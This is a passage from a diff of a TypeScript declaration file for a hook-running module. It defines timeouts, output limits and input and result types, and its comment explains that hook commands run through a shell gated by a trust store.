|
|
191
|
+
*/
|
|
192
|
+
declare const DRAIN_BUDGET_MS = 2000;
|
|
193
|
+
/** Multiplier applied to a single hook's timeout to bound a whole chain. */
|
|
194
|
+
declare const CHAIN_BUDGET_MULTIPLIER = 4;
|
|
195
|
+
interface HookRunInput {
|
|
196
|
+
readonly command: string;
|
|
197
|
+
/** Working directory for the command. */
|
|
198
|
+
readonly cwd: string;
|
|
199
|
+
/** Per-hook wall clock. The chain ceiling is this times {@link CHAIN_BUDGET_MULTIPLIER}. */
|
|
200
|
+
readonly timeoutMs: number;
|
|
201
|
+
/** Written to the process's stdin, then closed. */
|
|
202
|
+
readonly stdin?: string;
|
|
203
|
+
/** Environment. Passed explicitly so a caller can restrict it — never inherited implicitly. */
|
|
204
|
+
readonly env?: Readonly<Record<string, string>>;
|
|
205
|
+
}
|
|
206
|
+
interface HookRunResult {
|
|
207
|
+
readonly exitCode: number | null;
|
|
208
|
+
readonly stdout: string;
|
|
209
|
+
readonly stderr: string;
|
|
210
|
+
/** True when {@link MAX_OUTPUT_BYTES} cut the output. */
|
|
211
|
+
readonly truncated: boolean;
|
|
212
|
+
/** True when the timeout killed the process group. */
|
|
213
|
+
readonly timedOut: boolean;
|
|
214
|
+
}
|
|
215
|
+
/**
|
|
216
|
+
* Run `command` through a shell, bounded by every ceiling above.
|
|
217
|
+
*
|
|
218
|
+
* A shell IS used, deliberately: hook commands are written by humans in config files and routinely
|
|
219
|
+
* contain pipes and redirects. The security boundary is not "no shell" — it is the trust store that
|
|
220
|
+
* decides whether this command may run at all (see `hook-fingerprint.ts`). Pretending a shell-less
|
|
221
|
+
* spawn made arbitrary user commands safe would be a comforting lie.
|
|
222
|
+
*/
|
|
223
|
+
declare function runHookCommand(input: HookRunInput): Promise<HookRunResult>;
|
|
224
|
+
|
|
225
|
+
export { type BuildHookHandlersOptions, CHAIN_BUDGET_MULTIPLIER, DEFAULT_CONTINUATION_BUDGET, DEFAULT_HOOK_TIMEOUT_MS, DRAIN_BUDGET_MS, HOOK_EVENTS, type HookEvent, type HookIdentity, type HookRunInput, type HookRunResult, type HookSpec, HookSpecError, MAX_OUTPUT_BYTES, buildHookHandlers, fenceHookOutput, hookFingerprint, hookSpecSchema, parseHookSpecs, runHookCommand };
|